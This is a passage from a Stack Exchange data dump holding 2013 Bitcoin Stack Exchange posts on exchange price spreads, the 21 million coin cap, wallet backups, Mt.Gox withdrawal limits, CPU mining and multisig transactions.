  <row Id="9617" PostTypeId="2" ParentId="9613" CreationDate="2013-04-12T00:57:24.653" Score="1" Body="&lt;p&gt;Things are worth what people are willing to trade for them. The same is true for Bitcoin. Its value is insured by nothing other then what people will trade for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some distinctions between  bitcoin and other currencies which are worth noting. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin has no intrinsic value. While this is true of many modern currencies such as the U.S dollar, it has not always been the case, such as when the U.S. was still on the gold standard. (Gold has some intrinsic value such as its use in circuitry ) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;New Bitcoins get created by an algorithm which closely follows a geometric series as opposed to a central authority, such as the Federal Reserve. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This second point while having some benefit has proved to be significant shortcoming for Bitcoin. In most currencies, as the volume and rate of transactions increases, so to does the amount of currency. This is not the case for bitcoin, and it has led to severe  hyperinflation. This is a bad thing for a currency, because if you use it as your yardstick of value (which currencies are) of other goods and services, then everything else's value is constantly being depreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, Bitcoins economy dosent work all that well. Its based on speculation, and its only (as far as I can tell) real value as a medium of exchange comes from the drug market silk road, which uses it exclusively.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-12T00:57:24.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9618" PostTypeId="1" AcceptedAnswerId="9625" CreationDate="2013-04-12T01:40:59.780" Score="0" ViewCount="232" Body="&lt;p&gt;Is there any reliable way of estimating the number of spammer controlled miners?  I was thinking about the common wisdom that BitCoin should have been implemented with a hashing mechanism that is resistant to distributed processing (i.e. scrypt) and I have my doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I thought when I saw a headline about BitCoin I rolled my eyes, it looked like a spammer's dream come true.  But the recent protocol breakage and the (successful) coordinated effort to fix it, some I saw some comments attributing it to the concentration of miners.  I also know a pooled miner that griped about an obvious hacker that he banned form his pool because the clients were doing way too much network traffic for too little work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am looking for a way to track this.  The IP's stored in the Blockchain are of the first IP's that saw the coin and the payouts would go to a centralized wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="4264" LastEditorUserId="5406" LastEditDate="2016-04-28T13:45:22.510" LastActivityDate="2016-04-28T13:45:22.510" Title="Measuring levels of spammer participation on the Bitcoin network" Tags="|privacy|hashpower|hacking|botnets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9619" PostTypeId="2" ParentId="9606" CreationDate="2013-04-12T01:58:56.967" Score="3" Body="&lt;p&gt;I found this link the other day that shows where you can use bitcoins &lt;a href=&quot;https://www.spendbitcoins.com/places/?place_type=service&quot; rel=&quot;nofollow&quot;&gt;https://www.spendbitcoins.com/places/?place_type=service&lt;/a&gt;  mostly for hosting companies, some poker sites/online casinos &amp;amp; many computer co's that i'm sure most people would never use right now.&#xA;Saw an article that a restaurant in NY wanted to accept them soon but probably its a marketing gimmick before the crash to get some free publicity.&#xA;there is also that article of the guy in Canada wanting to sell his house for bitcoins. I'm sure he's going to need much more bitcoins now after the 2 day crash unless bounces back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many have used them on Silk road for buying drugs too but I'm sure gov't going to crack down on that . Heard they caught some guy in Australia recently for Silk Road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="4265" LastActivityDate="2013-04-12T01:58:56.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9620" PostTypeId="2" ParentId="9606" CreationDate="2013-04-12T02:22:34.513" Score="1" Body="&lt;p&gt;There won't many statistics obtained from a psuedonymous digital currency, so unless there is data released voluntarily there is mostly only educated guesses as to how how much bitcoins are used for specific transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPay, the largest payment processor (by a huge margin) only did $5 million USD worth of transactions in March.   That's such a tiny percent of all bitcoin transactions for the month that is doesn't really even register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why did bitcoins transfer?   To and from exchanges.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's #1 use is for speculation.  To a lesser, but still significant degree, it is used as a money transfer -- similar to how PayPal or Western Union is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Way down the list you'll find it being used for e-commerce transactions, and retail purchases, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, because Bitcoin has so much potential in replacing PayPal and VISA/Mastercard/AMEX for many transactions, that doesn't mean there won't be bitcoins used for commerce in the future.  It just means speculators are believing that day will come, and are buying up the coins that consumers will eventually need for making their purchase transaction.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-12T02:22:34.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9621" PostTypeId="2" ParentId="9612" CreationDate="2013-04-12T02:47:55.370" Score="1" Body="&lt;p&gt;Having an IOU from one person in no way changes your ability to offer IOUs to anyone else. So the basic premise doesn't make sense. When you decide to allow a particular account to hold a balance with you, you are electing to trust only that particular source. You can never be owed money by someone you didn't agree to allow you to owe money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the gateway model, you agree to allow a company to owe you money because you have an agreement with them that they will pay you any money owed whenever you ask them to. If they renege on that agreement, then they are violating their agreement with you and you have the normal legal recourse against them. But it doesn't affect anyone else unless you default on your own obligations.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-12T02:47:55.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9622" PostTypeId="1" AcceptedAnswerId="9642" CreationDate="2013-04-12T03:00:01.793" Score="2" ViewCount="612" Body="&lt;p&gt;I have good back up system. Can my wallet be backed up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I access it anywhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so how do bit coin system know that I am the one accessing it?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-04-12T12:33:44.770" Title="How do I handle the risk that my hard disk crash?" Tags="|safety|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9623" PostTypeId="2" ParentId="9622" CreationDate="2013-04-12T03:07:03.617" Score="4" Body="&lt;p&gt;Your wallet file contains the keys needed to sign transactions that transfer Bitcoins from your accounts. The system doesn't care who accesses what, it just cares that transactions are signed with the appropriate keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back up your wallet file so you don't lose the keys you need to spend your Bitcoins. But remember, if someone gets their hands on &lt;em&gt;any&lt;/em&gt; unencrypted copy of your wallet, they can spend your coins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-12T03:07:03.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9625" PostTypeId="2" ParentId="9618" CreationDate="2013-04-12T05:27:41.260" Score="1" Body="&lt;p&gt;I'll assume you're confusing the term &quot;spammer&quot; (someone who sends unsolicited email, or posts unsolicited advertising) with &quot;hacker&quot; (of which black hat ones might operate a botnet and mine cryptocurrency), so I've updated your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is generally substantially less worthwhile for a black hat hacker to mine with a botnet than an altcoin using scrypt (such as Litecoin). This is because Bitcoin hashing happens to be more efficient to run on GPU hardware, whereas scrypt is more efficient to run on CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/193/how-do-i-see-the-ip-address-of-a-bitcoin-transaction&quot;&gt;IP addresses are not stored in the blockchain&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3040/how-to-get-statistics-about-bitcoin-users&quot;&gt;Not much is available&lt;/a&gt; in the way of statistics for Bitcoin users, so you'll probably find it difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pool operators can collect IP addresses of those connecting to their pool, so they may have some (or could potentially collect some) data useful for what you describe. Even then, tracking it would be difficult; it may become a cat and mouse type game like virus writers and anti-virus companies play, if the operator of a botnet becomes aware of what you're doing.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-12T05:35:53.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9626" PostTypeId="1" AcceptedAnswerId="9628" CreationDate="2013-04-12T06:20:39.940" Score="34" ViewCount="58664" Body="&lt;pre&gt;&lt;code&gt;▼ mtgoxUSD     95.0000  108.452     -12.404%    2428892&#xA;▼ btc24EUR     67.5047  89.036      -24.183%    348160&#xA;▼ btceUSD      82.9900  106.794     -22.289%    277286&#xA;▼ bitstampUSD  75.9900  109.320     -30.489%    249563&#xA;▼ mtgoxEUR     74.2244  88.579      -16.205%    248525&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at mtgox it's $95 USD. At btceUSD it's 82. Why the spread is so high?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2017-03-08T16:18:34.590" LastActivityDate="2017-12-04T21:05:52.257" Title="Why do the price of bitcoins vary wildly between exchanges?" Tags="|exchanges|exchange-rate|arbitrage|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9627" PostTypeId="2" ParentId="9580" CreationDate="2013-04-12T07:31:18.850" Score="1" Body="&lt;p&gt;I started down the same path as you with my Macbook Pro early-2011 model, and got the same error. My model includes the Intel HD Graphics 3000, and there are no Intel-based OpenCL drivers for it. When I did enable a miner on the Core i7 CPU alone, I got 1.8Mh/s using the CPU, which is poor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAICT, even if you have an OpenCL-compatible Intel GPU, (the Core i5 and i7 are OpenCL compatible on Windows, and Xeon and Xeon Phi on Linux) I've read nowhere that states it's even possible to &quot;GPU mine&quot; with it, either Linux/Windows/Mac... I may be wrong :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an earlier Macbook Pro, a model that includes an NVIDIA GPU, like the GeForce 650M or 9600M GT, you may have some luck getting OpenCL to work. You can try reading the &lt;a href=&quot;http://josh.thisistaken.com/2011/05/how-to-run-bitcoin-miner-on-mac-os-x.html&quot; rel=&quot;nofollow&quot;&gt;How to Run Bitcoin Miner on Mac OS X&lt;/a&gt; guide, but even if it works you'll only get 3.8Mh/s (still not very good).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, unless you can get at least 300Mh/s, like from an AMD GPU, &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;it's probably not worth the cost in electricity&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4015" LastActivityDate="2013-04-12T07:31:18.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9628" PostTypeId="2" ParentId="9626" CreationDate="2013-04-12T07:33:32.470" Score="23" Body="&lt;p&gt;There are a variety of variables that affect Bitcoin pricing on the exchanges. Some are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Market size&lt;/li&gt;&#xA;&lt;li&gt;Exchange volume&lt;/li&gt;&#xA;&lt;li&gt;Price of entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Market size:&lt;/strong&gt; Relatively speaking, the market for Bitcoins is small. In April of 2013 it was about 1.2 billion USD, and a few days later dropped to below 750 million USD. That's a small market cap, which means, among other things, that there's less consensus on the price to the BTC. &lt;em&gt;This is the capitalization for all mined bitcoins and includes coins that have been lost, so the real value is something smaller.&lt;/em&gt; Each exchange is a subset of the total market, so those markets are even smaller, which allows for greater variation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exchange Volume:&lt;/strong&gt; For all the coins that have been mined, the quotes are only from online exchanges, which are a small set of the total coins that have been mined. If only a quarter or less are in play, then the swings can be pretty dramatic. Since the volume is limited, and people don't take full advantage or arbitrage, different prices can and will exist on the different exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens with foreign currency exchanges too. However, with professional traders, billions of dollars, and serious automated trading the differences are in fractions of a percent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Price of entry:&lt;/strong&gt; It's relatively cheap to enter the BTC market and cheap to trade. Furthermore, if you mined BTC when it was trading for fractions of a dollar, or even $30/BTC, there's no issue unloading it. With a low price of entry people are less serious about how the trade their BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, BTC is a small, highly speculative, irrational market. Each exchange is a small, highly speculative, irrational market. That's why the spread is so great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As a crude example:&lt;/strong&gt;&#xA;Consider two towns in the medieval period separated by twenty miles. They both have markets and people sell apples in both markets. In one market people really like apples. They pay 2 coins for the apples. In another market they aren't as enthusiastic, they only pay 1.5 coins for the apples. The economic thing to do would be to buy the apples in the second market and sell them at the first. But it's hard. It's a twenty mile walk, and all your friends are at the other market. Plus, the price could change by time you get there. It's just easier to stick with your current market, even if you're not maximizing your return.&lt;/p&gt;&#xA;" OwnerUserId="4274" LastActivityDate="2013-04-12T07:33:32.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9629" PostTypeId="2" ParentId="9626" CreationDate="2013-04-12T07:34:31.990" Score="2" Body="&lt;p&gt;I think, at the moment you took those numbers, MtGox halted trading for several hours, freezing it's price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other markets continued trading and their prices went down. That's why MtGox seems to be so high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real difference then is btceUSD and bitstampUSD, with a difference of 7 USD. I'd guess this was due to the fact that those markets are less stable than MtGox. Usually their prices tend to follow MtGox's because people will not be likely to trade at much different prices. But when MtGox went on hold, prices on other exchanges kind of crashed. Probably they just did not crash at the same speed, causing the price of the market with the least volume to decrease faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently MtGox is trading again and prices stabilized a little. However, it will always be so that (as long as it stays the largest market) MtGox's price will run ahead of the price of the others. The others mostly follow within minutes or hours, but at this time of chaos and wild fluctuations, smaller markets catch up less fast.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-12T08:54:43.687" LastActivityDate="2013-04-12T08:54:43.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9630" PostTypeId="1" AcceptedAnswerId="9635" CreationDate="2013-04-12T07:48:16.903" Score="8" ViewCount="5781" Body="&lt;p&gt;I am very new to this idea. My only knowledge of it is from the wikipedia page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems odd to me that there is an upper limit at all to the bitcoins that will be issued. Perhaps there is a simple explanation to this. Why was that limit set at 21 million?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2017-11-03T22:40:58.453" Title="Why was the upper limit of 21 million bitcoins put in place?" Tags="|reward-schedule|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9631" PostTypeId="2" ParentId="3305" CreationDate="2013-04-12T08:20:25.273" Score="-1" Body="&lt;p&gt;I just had to delete blkindex.dat. It's a little painful since you have to re-download that ~2GB file, but it worked for me.&lt;/p&gt;&#xA;" OwnerUserId="4277" LastActivityDate="2013-04-12T08:20:25.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9634" PostTypeId="2" ParentId="9630" CreationDate="2013-04-12T08:36:12.387" Score="4" Body="&lt;p&gt;Short answer (and just my opinion):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total number of bitcoins issued needed to be a low enough number so that while total dollar valuation of all bitcoins combined was still in the single-digit millions the exchange rate would reach parity with the U.S. dollar at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why that matters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because people don't know how valuations work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't know that a $100 worth of shares of Blackberry (BBRY) at $13.54 each is probably better to own than a $100 worth of shares of Best Buy (BBY) at $24.11.   Just because one has a higher &quot;price&quot; (exchange rate) doesn't mean it is preferable to own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So because a Bitcoin was worth more than a dollar early on, that helped it gain a bit of &quot;legitimacy&quot; and recognition.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-12T08:36:12.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9635" PostTypeId="2" ParentId="9630" CreationDate="2013-04-12T08:37:56.433" Score="9" Body="&lt;p&gt;There are a lot of reasons and I don't think it's known what factors led to the final decision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one thing, when the basic Bitcoin mechanics were designed, there was a significant risk that Bitcoin would never be adopted. By giving a fixed term to mining and a fixed supply of Bitcoins, the original designer(s) increased the chances that people would want to acquire Bitcoins. The prospect that future scarcity would increase their value likely induced people to mine even when the economic argument for doing so was quite thin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that there was hope that people who didn't like inflationary currencies would be drawn to Bitcoin. There are people who see inflation as a theft or tax. The ultimate lack of inflation in Bitcoin attracted people with those views to the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, of course, some way was needed to distribute the currency. Using the initial distribution of the currency as a way to build sufficient computing power to use proof of work to secure the currency until transaction fees could take over was probably Bitcoin's biggest bit of genius.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears this strategy worked, at least so far.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-12T08:37:56.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9636" PostTypeId="1" AcceptedAnswerId="9639" CreationDate="2013-04-12T09:28:46.997" Score="5" ViewCount="906" Body="&lt;p&gt;Their page states (&lt;a href=&quot;https://support.mtgox.com/entries/20490576-Withdrawals-and-Deposits&quot;&gt;https://support.mtgox.com/entries/20490576-Withdrawals-and-Deposits&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All methods below are subject to a withdrawal limit of 1000 USD per 24hr period and 10000 USD per 30 Day period&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They include bitcoin in the list below this statement too. Does that mean they will allow me to withdraw only number of bitcoins that currently has a value of 1000 USD?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2013-04-13T05:07:02.040" Title="Is there a limit for bitcoin withdrawal at Mt.Gox?" Tags="|mtgox|reward-schedule|withdrawal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9637" PostTypeId="1" CreationDate="2013-04-12T09:45:28.437" Score="11" ViewCount="181145" Body="&lt;p&gt;I have a Windows Server with 20 cores at 2.10 Ghz (AMD Opteron 4171 HE). I am currently using Ufasoft CPU miner and getting about 35 Mhash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know what is the fastest CPU miner that I can use.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastEditorUserId="5406" LastEditDate="2016-02-17T20:48:23.267" LastActivityDate="2016-02-17T20:48:23.267" Title="Fastest CPU Miner" Tags="|cpu-mining|miner-configuration|mining-software|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9638" PostTypeId="1" AcceptedAnswerId="9661" CreationDate="2013-04-12T10:03:04.370" Score="4" ViewCount="440" Body="&lt;p&gt;I found a paper wallet in my drawer, created in 2011 and with quite a lot of money on it. The private key says 'wallet import format'. I'm pretty confident that I will have no problem with importing it into blockchain.info or bitcoin-qt right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's imagine you find a paper wallet in many years from now. Who can still read audio tapes today? Will there EVER be an import format change? Or is this 'wallet import format' so future proof that my (future) grandchild could claim the funds? If Bitcoin still exists, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the safest paper wallet would include code or instruction on the bottom how to convert ;-)&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="44" LastEditDate="2013-04-12T19:41:28.933" LastActivityDate="2013-04-12T20:12:59.747" Title="Will a paper wallet ever have format issues?" Tags="|wallet|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9639" PostTypeId="2" ParentId="9636" CreationDate="2013-04-12T11:06:49.413" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;They include bitcoin in the list below this statement too. Does that mean they will allow me to withdraw only number of bitcoins that currently has a value of 1000 USD?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it means exactly what it says, that you can only withdraw $1000 a day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said there is an entirely separate limit that they place on bitcoins. On my account under funding options and withdrawals it reads&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;BTC : You can still withdraw up to 100.00000000 BTC provided you have enough on your account (your limit is 100.00000000 BTC per 24 hours )&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-12T11:06:49.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9640" PostTypeId="2" ParentId="9626" CreationDate="2013-04-12T11:58:40.013" Score="0" Body="&lt;p&gt;Part of the reason for the recent crash in price is the inability of the markets to deal with the increased number of trades. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When markets aren't working properly it's more difficult to trade to reduce the spread between them.&lt;/p&gt;&#xA;" OwnerUserId="216" LastActivityDate="2013-04-12T11:58:40.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9641" PostTypeId="2" ParentId="9637" CreationDate="2013-04-12T12:22:33.230" Score="1" Body="&lt;p&gt;You might be better off doing it by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But mining speed varies by application. I might have the same computer here but there is a defect in one of the prongs on the cpu, it might always run .1Mhash slower than any other chip. Yours might run faster. No one can tell you how fast or how much better software might run for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a very hard question to answer, send me your server and I'll test it out for you. Or you could just download a few miners, try them out, and decide which works better for you.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-04-12T12:22:33.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9642" PostTypeId="2" ParentId="9622" CreationDate="2013-04-12T12:33:44.770" Score="1" Body="&lt;p&gt;Look into something like Electrum. It uses a one time password (very long mine is 13 words) to generate all future address in a specific way. This means as long as you have your password, and a copy of the Electrum software it can find all you bitcoins, there is almost no need to &quot;store&quot; them anywhere. You could literally receive bitcoins on computer A and password P in Electrum. Blow up computer A, and get new computer B download Electrum and input password(seed) P and it will generate addresses in the same way each time, so it will basically &quot;find&quot; your bitcoins in the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you do is remember your passphrase and your btc is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is basically the backwards way of trying to steal btc, to steal them (extremely unfeasible) you could sit with a SHA-256 algorithm and input stupid passwords like &quot;monkeybutt&quot; and then try to send any bitcoins at that address to yourself and sign the tx with that password, but again, stupidly unfeasible. But there are reports of a few people actually finding others btc this way, because they generate their passwords with simple strings like &quot;monkeybutt&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-04-12T12:33:44.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9643" PostTypeId="2" ParentId="9583" CreationDate="2013-04-12T13:22:28.483" Score="1" Body="&lt;p&gt;The size of the blockchain download by BW has significantly reduced recently, and is only headers at best so you're only looking for a 20-40Mb file not gigabytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to locate the private keys here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/data/data/de.schildbach.wallet/files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need assistance with accessing your rooted phone (you probably don't) I wrote an article &lt;a href=&quot;http://gary-rowe.com/agilestack/2011/12/28/how-to-recover-lost-bitcoins-from-an-android-wallet/&quot; rel=&quot;nofollow&quot;&gt;detailing Bitcoin recovery operations on Android&lt;/a&gt; that may provide useful supporting information.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-04-12T13:22:28.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9644" PostTypeId="1" AcceptedAnswerId="9654" CreationDate="2013-04-12T13:55:48.857" Score="5" ViewCount="240" Body="&lt;p&gt;If one of the cryptographic building blocks of Bitcoin were to be broken, couldn't that result in the entire block chain needing to be recomputed? And how would that work, given the computational expense involved?&lt;/p&gt;&#xA;" OwnerUserId="4286" LastEditorUserId="2306" LastEditDate="2014-09-12T01:03:21.030" LastActivityDate="2014-09-12T01:03:21.030" Title="Wouldn't compromised crypto require entire block chain to be recomputed?" Tags="|blockchain|security|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9645" PostTypeId="1" CreationDate="2013-04-12T15:25:18.393" Score="0" ViewCount="786" Body="&lt;p&gt;the guidebook says that &quot;when you open MultiBit, the wallets that were open in the previous use of MultiBit are reopened&quot;, but I've stored some money in a wallet that I created in a USB key. Now I am opening again multibit and I can't see this wallet. The .wallet and .info files are in the flash and I know its address so the problem is, how to do in order to see the wallet in multibit again? there is not an explanation of it in this short guidebook. Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="4293" LastActivityDate="2014-10-12T17:15:39.973" Title="multibit - my wallet is not reopening" Tags="|wallet|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9646" PostTypeId="1" AcceptedAnswerId="11686" CreationDate="2013-04-12T15:26:06.697" Score="1" ViewCount="663" Body="&lt;p&gt;I am playing with the blockchain and I saw this transaction there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the output from decoderawtransaction  by bitcoind is here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/wbLH3HZa&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/wbLH3HZa&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really get what is hapenning. I tried to read this &lt;a href=&quot;https://blockchain.info/wallet/escrow&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/escrow&lt;/a&gt; but I am not that much wiser.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it mean that the  multisig output works as some kind of &quot;escrow&quot; for the &lt;em&gt;whole&lt;/em&gt; transaction, not just the 0.01 output?&lt;/li&gt;&#xA;&lt;li&gt;more importantly, who from the two addresses can spend the output of the multisig transaction?&lt;/li&gt;&#xA;&lt;li&gt;How do the parties &quot;free&quot; the money from &quot;escrow&quot;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to see it on this specific transaction - who gets what kind of money and how? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-06-17T17:08:05.097" Title="Which address gets the money from the multisig transactions? (and multisig in general)" Tags="|transactions|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9647" PostTypeId="1" CreationDate="2013-04-12T15:29:04.193" Score="14" ViewCount="10091" Body="&lt;p&gt;How do Electrum and Multibit compare for being safe and secure. Both are open source. Are there any advantages, security wise, to use one or the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to bitcoin and the only reason for considering these thin clients is to not having to maintain a 5gb database file.&lt;/p&gt;&#xA;" OwnerUserId="4291" LastActivityDate="2013-05-29T07:54:29.787" Title="Are the Thin clients Electrum and Multibit safe and secure?" Tags="|security|thin-clients|electrum|multibit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9649" PostTypeId="1" CreationDate="2013-04-12T16:15:13.110" Score="1" ViewCount="463" Body="&lt;p&gt;Before I get started I would like to say I am an advocate of a virtual, peer to peer currency and bitcoins to an extent. I think some of the worst aspects of capitalism as well as huge amounts of power have manifested themselves in the finance sector and it would take something as radical as bitcoin to take the power back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in why anonymity is important in bitcoins. Some of the other &quot;worst aspects of capitalism&quot; are the tax dodging multinationals that lie and cheat and as a result prevent the fair distribution of wealth amongst the population. Surely if bitcoin was adopted widely as a currency this would only worsen matters as there could be no means of taxation and thus projects like public health, education and law would break down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem with making transactions traceable. Would this not make a virtual peer to peer currency more likely to succeed?&lt;/p&gt;&#xA;" OwnerUserId="4296" 